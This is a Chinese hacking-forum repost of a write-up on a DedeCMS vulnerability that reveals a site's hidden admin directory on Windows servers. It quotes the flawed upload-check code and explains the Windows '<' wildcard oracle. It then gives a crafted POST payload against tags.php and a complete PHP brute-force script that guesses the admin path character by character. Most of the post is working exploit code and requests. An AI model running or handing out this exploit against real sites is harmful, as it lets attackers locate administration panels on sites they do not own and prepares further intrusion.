搜索
查看: 419|回复: 0

解决DEDECMS历史难题--找后台目录

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2018-2-26 10:35:23 | 显示全部楼层 |阅读模式
原文链接:https://xianzhi.aliyun.com/forum/topic/2064

利用限制
  • 仅针对windows系统
进入正题
首先看核心文件common.inc.php 大概148行左右
  1. if($_FILES)
  2. {
  3.     require_once(DEDEINC.'/uploadsafe.inc.php');
  4. }
复制代码
uploadsafe.inc.php
  1. if( preg_match('#^(cfg_|GLOBALS)#', $_key) )
  2. {
  3.     exit('Request var not allow for uploadsafe!');
  4. }
  5. $_key = $_FILES[$_key]['tmp_name']; //获取temp_name
  6. ${$_key.'_name'} = $_FILES[$_key]['name'];
  7. ${$_key.'_type'} = $_FILES[$_key]['type'] = preg_replace('#[^0-9a-z\./]#i', '', $_FILES[$_key]['type']);
  8. ${$_key.'_size'} = $_FILES[$_key]['size'] = preg_replace('#[^0-9]#','',$_FILES[$_key]['size']);
  9. if(!empty(${$_key.'_name'}) && (preg_match("#\.(".$cfg_not_allowall.")$#i",${$_key.'_name'}) || !preg_match("#\.#", ${$_key.'_name'})) )
  10. {
  11.     if(!defined('DEDEADMIN'))
  12.     {
  13.         exit('Not Admin Upload filetype not allow !');
  14.     }
  15. }
  16. if(empty(${$_key.'_size'}))
  17. {
  18.     ${$_key.'_size'} = @filesize($_key);
  19. }
  20. $imtypes = array
  21. (
  22.     "image/pjpeg", "image/jpeg", "image/gif", "image/png",
  23.     "image/xpng", "image/wbmp", "image/bmp"
  24. );
  25. if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes))
  26. {
  27.     $image_dd = @getimagesize($_key);
  28.     //问题就在这里,获取文件的size,获取不到说明不是图片或者图片不存在,不存就exit upload.... ,利用这个逻辑猜目录的前提是目录内有图片格式的文件。
  29.     if (!is_array($image_dd))
  30.     {
  31.         exit('Upload filetype not allow !');
  32.     }
  33. }
  34. ......
复制代码
注意$$_key这一句,变量$key取自于$_FILE,由于$_FILE可控自然$key也可控,此处理论上是可以覆盖任意变量,但是前面有个正则判断不能出现cfg_|GLOBALS。(但是应该还可以覆盖其他变量此处感觉还可以深挖)
本人出发点是找个可以利用<<通配符猜解后台目录,所以只要$$_key参数可控就可以达到目的。
但在这之前有个if(!defined('DEDEADMIN'))的判断,这个很好绕过设置tmp_name为0或者1.jpg含. 就可以绕过。
最后关键的一点就是要让文件存在还和不存在返回不同的内容就要控制type参数了。
当目录文件存在的时候 返回正常页面。当不存在的时候返回:Upload filetype not allow !
举个例子
文字不好表达,便于理解。
  1. <?php
  2. // ./dedecms/favicon.ico
  3. if(@getimagesize($_GET['poc'])){
  4.     echo 1;
  5. }else {
  6.     echo 0;
  7. }
  8. ?>
  9. get:
  10. http://localhost/test.php?poc=./d</favicon.ico
  11. 返回:1

  12. http://localhost/test.php?poc=./a</favicon.ico
  13. 返回:0

  14. http://localhost/test.php?poc=./de</favicon.ico
  15. 返回:1

  16. http://localhost/test.php?poc=./ded</favicon.ico
  17. 返回:1

  18. ........
复制代码
构造poc
  1. http://localhost/dedecms/tags.php

  2. post:

  3. dopost=save&_FILES[b4dboy][tmp_name]=./de</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif
复制代码
Common.inc.php 是被全局包含的文件,只要文件php文件包含了Common.inc.php都可以进行测试,以tags.php文件为例
当目录存在点时候: 图1

当目录不存在点时候: 图2
EXP:

  1. <?php
  2. $domain='http://localhost/dedecms/';
  3. $url=$domain.'/index.php';
  4. function post($url, $data, $cookie = '') {
  5.     $options = array(
  6.         CURLOPT_RETURNTRANSFER => true,
  7.         CURLOPT_HEADER => true,
  8.         CURLOPT_POST => true,
  9.         CURLOPT_SSL_VERIFYHOST => false,
  10.         CURLOPT_SSL_VERIFYHOST => false,
  11.         CURLOPT_COOKIE => $cookie,
  12.         CURLOPT_POSTFIELDS => $data,
  13.     );
  14.     $ch = curl_init($url);
  15.     curl_setopt_array($ch, $options);
  16.     $result = curl_exec($ch);
  17.     curl_close($ch);
  18.     return $result;
  19. }
  20. $testlen=25;
  21. $str=range('a','z');
  22. $number=range(0,9,1);
  23. $dic = array_merge($str, $number);
  24. $n=true;
  25. $nn=true;
  26. $path='';
  27. while($n){
  28.     foreach($dic as $v){
  29.         foreach($dic as $vv){
  30.             #echo $v.$vv .'----';
  31.             $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$v$vv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
  32.             $result=post($url,$post_data);
  33.             if(strpos($result,'Upload filetype not allow !') === false){
  34.                 $path=$v.$vv;$n=false;break 2;
  35.             }
  36.         }
  37.     }
  38. }
  39. while($nn){
  40.     foreach($dic as $vvv){
  41.         $post_data="dopost=save&_FILES[b4dboy][tmp_name]=./$path$vvv</images/admin_top_logo.gif&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif";
  42.         $result=post($url,$post_data);
  43.         if(strpos($result,'Upload filetype not allow !') === false){
  44.             $path.=$vvv;
  45.             echo $path . PHP_EOL;
  46.             $giturl=$domain.'/'.$path.'/images/admin_top_logo.gif';
  47.             if(@file_get_contents($giturl)){
  48.                 echo $domain.'/'.$path.'/';
  49.                 $nn=false;break 2;
  50.             }
  51.         }
  52.     }
  53. }
  54. ?>
复制代码
感谢
感谢给我提供这个思路的朋友
参考文章

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?Join BUC

x
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表